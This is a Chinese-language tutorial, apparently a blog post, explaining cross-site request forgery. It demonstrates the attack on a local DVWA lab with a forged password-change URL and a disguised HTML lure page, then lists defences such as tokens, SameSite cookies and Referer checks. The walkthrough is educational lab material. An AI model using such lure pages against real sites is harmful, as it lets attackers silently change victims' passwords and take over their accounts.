CSRF漏洞攻击
一、CSRF漏洞攻击说明
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作如转账、改密等操作。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
二、案例演示
2.1.抓包
获取修改密码的包信息

2.2.查看对应页面代码
查看页面如下:

发现在服务器端并没有做CSRF防御,我们只需要构造一个访问修改密码的URL链接,将参数拼接后,发送给被攻击者,引诱其点击即可,例如:
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
2.3.引诱伪装
但是,直接将链接发送给用户太过明显,稍微有点意识的人一眼就能识破。所以我们需要伪装一下,构造一个html文件,将其隐藏起来。伪造然后让用户去点击
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>结果展示</title> </head> <body> <h1>点我有惊喜哦</h1> <a href="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"/> <img src="http://127.0.0.1/3.jpg" border="0" width="800" height="600"/> </a> </body> </html>
点击链接看了一下浑然不知我们已经修改了他的登录密码,

利用刚刚修改的密码123456登录

三、csrf攻击如何防范?
跨站请求伪造(CSRF)攻击是一种常见的安全漏洞,攻击者利用该漏洞伪造用户的请求,进行一些恶意操作。以下是一些防范 CSRF 攻击的方法:
- 使用验证码:对于一些敏感操作,如发起支付、删除数据等,可以采用验证码的方式进行验证,防止攻击者偷偷操作。
- 检查 Referer 头:对于敏感操作的请求,可以检查 Referer 头,确保请求来源于同一站点,而不是来自于攻击者的网站。
- 使用 Token 验证:在每个表单请求中添加一个随机生成的 Token ,并在服务器端验证请求中的 Token 是否正确。这个 Token 可以防止 CSRF 攻击者伪造请求。
- 使用 SameSite cookie 属性:在使用 cookie 的时候,可以设置 SameSite 属性,限制 cookie 只在同一站点下被发送,从而防止 CSRF 攻击。
- 不要在 GET 请求中执行敏感操作:GET 请求容易被攻击者伪造,因此敏感操作不应该使用 GET 请求来进行。
- 定期更新和修补漏洞:定期检查和更新软件、操作系统、应用程序等,从而修补已知的安全漏洞,防止被攻击。
以上是一些防范 CSRF 攻击的方法,但是攻击者也在不断地改进攻击方法,因此保持警觉和更新防范措施也非常重要。

浙公网安备 33010602011771号